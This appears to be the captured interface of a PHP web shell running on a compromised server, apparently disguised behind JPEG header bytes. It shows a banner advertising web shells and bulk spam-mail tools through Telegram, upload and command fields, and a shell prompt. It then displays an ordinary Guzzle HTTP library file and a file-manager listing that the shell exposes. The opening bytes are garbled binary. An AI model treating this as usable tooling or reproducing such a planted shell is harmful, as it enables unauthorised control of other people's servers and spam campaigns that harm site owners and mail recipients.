����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\TransportSharing;
use GuzzleHttp\Utils;

/**
 * @internal
 */
final class CurlShareHandleState
{
    /**
     * @var resource|\CurlShareHandle|null
     */
    public $handle;

    /**
     * @var string
     */
    public $mode;

    /**
     * @param resource|\CurlShareHandle|null $handle
     */
    private function __construct(string $mode, $handle)
    {
        $this->mode = $mode;
        $this->handle = $handle;
    }

    /**
     * @param mixed $sharing
     */
    public static function fromOption($sharing): ?self
    {
        if ($sharing instanceof self) {
            return $sharing;
        }

        $mode = self::normalizeMode($sharing, 'transport_sharing');
        if ($mode === TransportSharing::NONE) {
            return null;
        }

        if ($mode === TransportSharing::HANDLER_PREFER) {
            return self::createHandlerShareOrNull($mode);
        }

        return self::createHandlerShare($mode);
    }

    /**
     * @param mixed $sharing
     */
    public static function normalizeMode($sharing, string $option): string
    {
        if ($sharing instanceof self) {
            return $sharing->mode;
        }

        if ($sharing === null || $sharing === TransportSharing::NONE) {
            return TransportSharing::NONE;
        }

        if ($sharing === TransportSharing::HANDLER_PREFER || $sharing === TransportSharing::HANDLER_REQUIRE) {
            return $sharing;
        }

        throw new \InvalidArgumentException(\sprintf(
            'The "%s" option must be null or a GuzzleHttp\\TransportSharing::* constant; received %s.',
            $option,
            Utils::describeType($sharing)
        ));
    }

    public static function assertNoRequiredSharingCustomFactoryConflict(array $options, string $handlerName): void
    {
        if (!\array_key_exists('handle_factory', $options) || $options['handle_factory'] === null) {
            return;
        }

        $mode = self::normalizeMode($options['transport_sharing'] ?? null, 'transport_sharing');
        if ($mode !== TransportSharing::HANDLER_REQUIRE) {
            return;
        }

        throw new \InvalidArgumentException(\sprintf(
            'The "transport_sharing" %s option cannot require sharing with a custom "handle_factory" because Guzzle cannot ensure that the custom factory applies CURLOPT_SHARE.',
            $handlerName
        ));
    }

    private static function createHandlerShareOrNull(string $mode): ?self
    {
        try {
            return self::createHandlerShare($mode);
        } catch (\Throwable $e) {
            return null;
        }
    }

    private static function createHandlerShare(string $mode): self
    {
        if (!\function_exists('curl_share_init') || !\function_exists('curl_share_setopt')) {
            throw new \InvalidArgumentException('The "transport_sharing" option requires cURL share support.');
        }

        self::requireCurlConstant('CURLOPT_SHARE');
        $shareOption = self::requireCurlConstant('CURLSHOPT_SHARE');
        $locks = self::handlerLocks();
        $handle = curl_share_init();

        try {
            foreach ($locks as $lock) {
                try {
                    $success = curl_share_setopt($handle, $shareOption, $lock);
                } catch (\Throwable $e) {
                    throw new \InvalidArgumentException('Unable to configure cURL share handle: '.$e->getMessage(), 0, $e);
                }

                if (!$success) {
                    throw new \InvalidArgumentException(\sprintf('Unable to configure cURL share handle with lock data %d.', $lock));
                }
            }
        } catch (\Throwable $e) {
            self::closeHandlerShareHandleOnPhp7($handle);

            throw $e;
        }

        return new self($mode, $handle);
    }

    /**
     * @return int[]
     */
    private static function handlerLocks(): array
    {
        return [
            self::requireCurlConstant('CURL_LOCK_DATA_DNS'),
            self::requireCurlConstant('CURL_LOCK_DATA_SSL_SESSION'),
        ];
    }

    private static function requireCurlConstant(string $constant): int
    {
        if (!\defined($constant)) {
            throw new \InvalidArgumentException(\sprintf(
                'The "transport_sharing" option requires %s, but it is not available in the installed PHP cURL extension.',
                $constant
            ));
        }

        $value = \constant($constant);
        if (!\is_int($value)) {
            throw new \InvalidArgumentException(\sprintf('The cURL constant %s must resolve to an integer.', $constant));
        }

        return $value;
    }

    /**
     * @param resource|\CurlShareHandle $handle
     */
    private static function closeHandlerShareHandleOnPhp7($handle): void
    {
        if (\PHP_VERSION_ID < 80000 && \is_resource($handle)) {
            curl_share_close($handle);
        }
    }
}

Filemanager

Name Type Size Permission Actions
CurlFactory.php File 44.65 KB 0644
CurlFactoryInterface.php File 657 B 0644
CurlHandler.php File 2.25 KB 0644
CurlMultiHandler.php File 11.32 KB 0644
CurlShareHandleState.php File 4.86 KB 0644
EasyHandle.php File 2.88 KB 0644
HeaderProcessor.php File 2.01 KB 0644
MockHandler.php File 6.25 KB 0644
Proxy.php File 2.01 KB 0644
StreamHandler.php File 29.27 KB 0644